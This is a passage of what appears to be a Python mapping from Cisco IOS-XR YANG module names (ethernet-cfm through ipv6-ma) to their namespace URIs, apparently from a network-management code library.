'Cisco-IOS-XR-ethernet-cfm-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-oper',
'Cisco-IOS-XR-ethernet-cfm-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-oper',
'Cisco-IOS-XR-ethernet-cfm-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-oper',
'Cisco-IOS-XR-ethernet-cfm-oper-sub4' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-oper',
'Cisco-IOS-XR-ethernet-cfm-sat-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-sat-cfg',
'Cisco-IOS-XR-ethernet-link-oam-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-link-oam-cfg',
'Cisco-IOS-XR-ethernet-link-oam-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-link-oam-oper',
'Cisco-IOS-XR-ethernet-link-oam-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-link-oam-oper',
'Cisco-IOS-XR-ethernet-lldp-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-lldp-cfg',
'Cisco-IOS-XR-ethernet-lldp-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-lldp-oper',
'Cisco-IOS-XR-ethernet-lldp-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-lldp-oper',
'Cisco-IOS-XR-ethernet-lldp-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-lldp-oper',
'Cisco-IOS-XR-fia-hw-profile-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fia-hw-profile-cfg',
'Cisco-IOS-XR-fia-internal-tcam-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fia-internal-tcam-oper',
'Cisco-IOS-XR-fia-internal-tcam-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fia-internal-tcam-oper',
'Cisco-IOS-XR-fib-common-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-cfg',
'Cisco-IOS-XR-fib-common-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-oper',
'Cisco-IOS-XR-fib-common-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-oper',
'Cisco-IOS-XR-fib-common-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-oper',
'Cisco-IOS-XR-fib-common-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-oper',
'Cisco-IOS-XR-fib-common-oper-sub4' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-oper',
'Cisco-IOS-XR-flashmib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-flashmib-cfg',
'Cisco-IOS-XR-fretta-bcm-dpa-drop-stats-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-drop-stats-oper',
'Cisco-IOS-XR-fretta-bcm-dpa-drop-stats-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-drop-stats-oper',
'Cisco-IOS-XR-fretta-bcm-dpa-hw-resources-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-hw-resources-oper',
'Cisco-IOS-XR-fretta-bcm-dpa-hw-resources-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-hw-resources-oper',
'Cisco-IOS-XR-fretta-bcm-dpa-hw-resources-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-hw-resources-oper',
'Cisco-IOS-XR-fretta-bcm-dpa-npu-stats-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-npu-stats-oper',
'Cisco-IOS-XR-fretta-bcm-dpa-npu-stats-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-npu-stats-oper',
'Cisco-IOS-XR-fretta-bcm-dpa-resources-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-resources-oper',
'Cisco-IOS-XR-fretta-bcm-dpa-resources-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-resources-oper',
'Cisco-IOS-XR-fretta-bcm-dpa-resources-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-resources-oper',
'Cisco-IOS-XR-group-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-group-cfg',
'Cisco-IOS-XR-ha-eem-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ha-eem-cfg',
'Cisco-IOS-XR-ha-eem-policy-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ha-eem-policy-oper',
'Cisco-IOS-XR-ha-eem-policy-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ha-eem-policy-oper',
'Cisco-IOS-XR-icpe-infra-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-cfg',
'Cisco-IOS-XR-icpe-infra-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper',
'Cisco-IOS-XR-icpe-infra-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper',
'Cisco-IOS-XR-icpe-infra-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper',
'Cisco-IOS-XR-icpe-infra-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper',
'Cisco-IOS-XR-icpe-infra-oper-sub4' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper',
'Cisco-IOS-XR-icpe-infra-oper-sub5' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper',
'Cisco-IOS-XR-icpe-infra-oper-sub6' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper',
'Cisco-IOS-XR-icpe-infra-oper-sub7' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper',
'Cisco-IOS-XR-icpe-infra-oper-sub8' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper',
'Cisco-IOS-XR-iedge4710-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-iedge4710-cfg',
'Cisco-IOS-XR-iedge4710-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-iedge4710-oper',
'Cisco-IOS-XR-iedge4710-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-iedge4710-oper',
'Cisco-IOS-XR-iedge4710-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-iedge4710-oper',
'Cisco-IOS-XR-iedge4710-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-iedge4710-oper',
'Cisco-IOS-XR-ifmgr-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ifmgr-cfg',
'Cisco-IOS-XR-ifmgr-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ifmgr-oper',
'Cisco-IOS-XR-ifmgr-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ifmgr-oper',
'Cisco-IOS-XR-ifmgr-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ifmgr-oper',
'Cisco-IOS-XR-infra-alarm-logger-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-alarm-logger-cfg',
'Cisco-IOS-XR-infra-alarm-logger-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-alarm-logger-datatypes',
'Cisco-IOS-XR-infra-alarm-logger-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-alarm-logger-oper',
'Cisco-IOS-XR-infra-alarm-logger-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-alarm-logger-oper',
'Cisco-IOS-XR-infra-ceredundancymib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-ceredundancymib-cfg',
'Cisco-IOS-XR-infra-confcopymib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-confcopymib-cfg',
'Cisco-IOS-XR-infra-correlator-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-correlator-cfg',
'Cisco-IOS-XR-infra-correlator-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-correlator-oper',
'Cisco-IOS-XR-infra-correlator-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-correlator-oper',
'Cisco-IOS-XR-infra-dumper-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-dumper-cfg',
'Cisco-IOS-XR-infra-infra-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-infra-cfg',
'Cisco-IOS-XR-infra-infra-clock-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-infra-clock-cfg',
'Cisco-IOS-XR-infra-infra-clock-linux-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-infra-clock-linux-cfg',
'Cisco-IOS-XR-infra-infra-locale-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-infra-locale-cfg',
'Cisco-IOS-XR-infra-ltrace-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-ltrace-cfg',
'Cisco-IOS-XR-infra-objmgr-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-objmgr-cfg',
'Cisco-IOS-XR-infra-objmgr-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-objmgr-oper',
'Cisco-IOS-XR-infra-objmgr-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-objmgr-oper',
'Cisco-IOS-XR-infra-policymgr-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-policymgr-cfg',
'Cisco-IOS-XR-infra-policymgr-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-policymgr-oper',
'Cisco-IOS-XR-infra-policymgr-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-policymgr-oper',
'Cisco-IOS-XR-infra-policymgr-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-policymgr-oper',
'Cisco-IOS-XR-infra-rcmd-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rcmd-cfg',
'Cisco-IOS-XR-infra-rcmd-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rcmd-oper',
'Cisco-IOS-XR-infra-rcmd-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rcmd-oper',
'Cisco-IOS-XR-infra-rmf-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rmf-oper',
'Cisco-IOS-XR-infra-rmf-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rmf-oper',
'Cisco-IOS-XR-infra-rsi-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-cfg',
'Cisco-IOS-XR-infra-rsi-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-oper',
'Cisco-IOS-XR-infra-rsi-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-oper',
'Cisco-IOS-XR-infra-rsi-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-oper',
'Cisco-IOS-XR-infra-rsi-subscriber-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-subscriber-cfg',
'Cisco-IOS-XR-infra-sla-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-sla-cfg',
'Cisco-IOS-XR-infra-sla-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-sla-datatypes',
'Cisco-IOS-XR-infra-sla-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-sla-oper',
'Cisco-IOS-XR-infra-statsd-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-statsd-cfg',
'Cisco-IOS-XR-infra-statsd-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-statsd-oper',
'Cisco-IOS-XR-infra-statsd-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-statsd-oper',
'Cisco-IOS-XR-infra-syslog-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-syslog-cfg',
'Cisco-IOS-XR-infra-syslog-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-syslog-oper',
'Cisco-IOS-XR-infra-syslog-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-syslog-oper',
'Cisco-IOS-XR-infra-systemmib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-systemmib-cfg',
'Cisco-IOS-XR-infra-tc-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-tc-cfg',
'Cisco-IOS-XR-infra-tc-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-tc-oper',
'Cisco-IOS-XR-infra-tc-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-tc-oper',
'Cisco-IOS-XR-installmgr-admin-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-installmgr-admin-oper',
'Cisco-IOS-XR-installmgr-admin-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-installmgr-admin-oper',
'Cisco-IOS-XR-installmgr-admin-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-installmgr-admin-oper',
'Cisco-IOS-XR-installmgr-admin-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-installmgr-admin-oper',
'Cisco-IOS-XR-invmgr-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-invmgr-oper',
'Cisco-IOS-XR-invmgr-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-invmgr-oper',
'Cisco-IOS-XR-invmgr-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-invmgr-oper',
'Cisco-IOS-XR-invmgr-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-invmgr-oper',
'Cisco-IOS-XR-invmgr-oper-sub4' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-invmgr-oper',
'Cisco-IOS-XR-ip-bfd-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-bfd-cfg',
'Cisco-IOS-XR-ip-bfd-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-bfd-oper',
'Cisco-IOS-XR-ip-bfd-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-bfd-oper',
'Cisco-IOS-XR-ip-domain-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-domain-cfg',
'Cisco-IOS-XR-ip-domain-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-domain-oper',
'Cisco-IOS-XR-ip-domain-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-domain-oper',
'Cisco-IOS-XR-ip-iarm-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iarm-datatypes',
'Cisco-IOS-XR-ip-iarm-v4-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iarm-v4-oper',
'Cisco-IOS-XR-ip-iarm-v4-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iarm-v4-oper',
'Cisco-IOS-XR-ip-iarm-v6-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iarm-v6-oper',
'Cisco-IOS-XR-ip-iarm-v6-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iarm-v6-oper',
'Cisco-IOS-XR-ip-iarm-vrf-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iarm-vrf-cfg',
'Cisco-IOS-XR-ip-icmp-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-icmp-cfg',
'Cisco-IOS-XR-ip-iep-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iep-cfg',
'Cisco-IOS-XR-ip-iep-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iep-oper',
'Cisco-IOS-XR-ip-iep-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iep-oper',
'Cisco-IOS-XR-ip-mobileip-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-mobileip-cfg',
'Cisco-IOS-XR-ip-ntp-admin-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-ntp-admin-oper',
'Cisco-IOS-XR-ip-ntp-admin-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-ntp-admin-oper',
'Cisco-IOS-XR-ip-ntp-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-ntp-cfg',
'Cisco-IOS-XR-ip-ntp-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-ntp-oper',
'Cisco-IOS-XR-ip-ntp-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-ntp-oper',
'Cisco-IOS-XR-ip-pfilter-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-pfilter-cfg',
'Cisco-IOS-XR-ip-pfilter-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-pfilter-oper',
'Cisco-IOS-XR-ip-pfilter-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-pfilter-oper',
'Cisco-IOS-XR-ip-pfilter-subscriber-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-pfilter-subscriber-cfg',
'Cisco-IOS-XR-ip-rib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rib-cfg',
'Cisco-IOS-XR-ip-rib-ipv4-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rib-ipv4-oper',
'Cisco-IOS-XR-ip-rib-ipv4-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rib-ipv4-oper',
'Cisco-IOS-XR-ip-rib-ipv6-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rib-ipv6-oper',
'Cisco-IOS-XR-ip-rib-ipv6-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rib-ipv6-oper',
'Cisco-IOS-XR-ip-rsvp-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rsvp-cfg',
'Cisco-IOS-XR-ip-rsvp-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rsvp-oper',
'Cisco-IOS-XR-ip-rsvp-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rsvp-oper',
'Cisco-IOS-XR-ip-rsvp-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rsvp-oper',
'Cisco-IOS-XR-ip-sbfd-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-sbfd-cfg',
'Cisco-IOS-XR-ip-sbfd-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-sbfd-oper',
'Cisco-IOS-XR-ip-sbfd-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-sbfd-oper',
'Cisco-IOS-XR-ip-static-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-static-cfg',
'Cisco-IOS-XR-ip-tcp-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-cfg',
'Cisco-IOS-XR-ip-tcp-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-oper',
'Cisco-IOS-XR-ip-tcp-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-oper',
'Cisco-IOS-XR-ip-tcp-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-oper',
'Cisco-IOS-XR-ip-tcp-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-oper',
'Cisco-IOS-XR-ip-tcp-oper-sub4' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-oper',
'Cisco-IOS-XR-ip-tcp-oper-sub5' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-oper',
'Cisco-IOS-XR-ip-udp-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-udp-cfg',
'Cisco-IOS-XR-ip-udp-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-udp-oper',
'Cisco-IOS-XR-ip-udp-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-udp-oper',
'Cisco-IOS-XR-ip-udp-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-udp-oper',
'Cisco-IOS-XR-ip-udp-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-udp-oper',
'Cisco-IOS-XR-ip-udp-oper-sub4' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-udp-oper',
'Cisco-IOS-XR-ipv4-ace-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-acl-cfg',
'Cisco-IOS-XR-ipv4-acl-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-acl-cfg',
'Cisco-IOS-XR-ipv4-acl-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-acl-datatypes',
'Cisco-IOS-XR-ipv4-acl-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-acl-oper',
'Cisco-IOS-XR-ipv4-acl-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-acl-oper',
'Cisco-IOS-XR-ipv4-arp-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-arp-cfg',
'Cisco-IOS-XR-ipv4-arp-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-arp-oper',
'Cisco-IOS-XR-ipv4-arp-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-arp-oper',
'Cisco-IOS-XR-ipv4-arp-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-arp-oper',
'Cisco-IOS-XR-ipv4-autorp-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-autorp-datatypes',
'Cisco-IOS-XR-ipv4-autorp-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-autorp-oper',
'Cisco-IOS-XR-ipv4-autorp-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-autorp-oper',
'Cisco-IOS-XR-ipv4-autorp-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-autorp-oper',
'Cisco-IOS-XR-ipv4-bgp-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-bgp-cfg',
'Cisco-IOS-XR-ipv4-bgp-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-bgp-datatypes',
'Cisco-IOS-XR-ipv4-bgp-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-bgp-oper',
'Cisco-IOS-XR-ipv4-bgp-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-bgp-oper',
'Cisco-IOS-XR-ipv4-dhcpd-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-dhcpd-cfg',
'Cisco-IOS-XR-ipv4-filesystems-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-filesystems-cfg',
'Cisco-IOS-XR-ipv4-hsrp-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-hsrp-cfg',
'Cisco-IOS-XR-ipv4-hsrp-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-hsrp-oper',
'Cisco-IOS-XR-ipv4-hsrp-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-hsrp-oper',
'Cisco-IOS-XR-ipv4-igmp-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-igmp-cfg',
'Cisco-IOS-XR-ipv4-igmp-dyn-tmpl-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-igmp-dyn-tmpl-cfg',
'Cisco-IOS-XR-ipv4-igmp-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-igmp-oper',
'Cisco-IOS-XR-ipv4-igmp-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-igmp-oper',
'Cisco-IOS-XR-ipv4-io-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-io-cfg',
'Cisco-IOS-XR-ipv4-io-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-io-oper',
'Cisco-IOS-XR-ipv4-io-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-io-oper',
'Cisco-IOS-XR-ipv4-io-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-io-oper',
'Cisco-IOS-XR-ipv4-ma-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ma-cfg',
'Cisco-IOS-XR-ipv4-ma-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ma-oper',
'Cisco-IOS-XR-ipv4-ma-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ma-oper',
'Cisco-IOS-XR-ipv4-ma-subscriber-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ma-subscriber-cfg',
'Cisco-IOS-XR-ipv4-mfwd-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-mfwd-cfg',
'Cisco-IOS-XR-ipv4-ospf-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ospf-cfg',
'Cisco-IOS-XR-ipv4-ospf-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ospf-oper',
'Cisco-IOS-XR-ipv4-ospf-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ospf-oper',
'Cisco-IOS-XR-ipv4-ospf-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ospf-oper',
'Cisco-IOS-XR-ipv4-pim-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-pim-cfg',
'Cisco-IOS-XR-ipv4-pim-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-pim-oper',
'Cisco-IOS-XR-ipv4-pim-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-pim-oper',
'Cisco-IOS-XR-ipv4-pim-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-pim-oper',
'Cisco-IOS-XR-ipv4-smiap-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-smiap-cfg',
'Cisco-IOS-XR-ipv4-telnet-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-telnet-cfg',
'Cisco-IOS-XR-ipv4-telnet-mgmt-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-telnet-mgmt-cfg',
'Cisco-IOS-XR-ipv4-vrrp-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-vrrp-cfg',
'Cisco-IOS-XR-ipv4-vrrp-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-vrrp-oper',
'Cisco-IOS-XR-ipv4-vrrp-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-vrrp-oper',
'Cisco-IOS-XR-ipv6-ace-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-acl-cfg',
'Cisco-IOS-XR-ipv6-acl-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-acl-cfg',
'Cisco-IOS-XR-ipv6-acl-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-acl-datatypes',
'Cisco-IOS-XR-ipv6-acl-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-acl-oper',
'Cisco-IOS-XR-ipv6-acl-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-acl-oper',
'Cisco-IOS-XR-ipv6-io-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-io-cfg',
'Cisco-IOS-XR-ipv6-io-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-io-oper',
'Cisco-IOS-XR-ipv6-io-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-io-oper',
'Cisco-IOS-XR-ipv6-ma-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ma-cfg',
'Cisco-IOS-XR-ipv6-ma-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ma-oper',
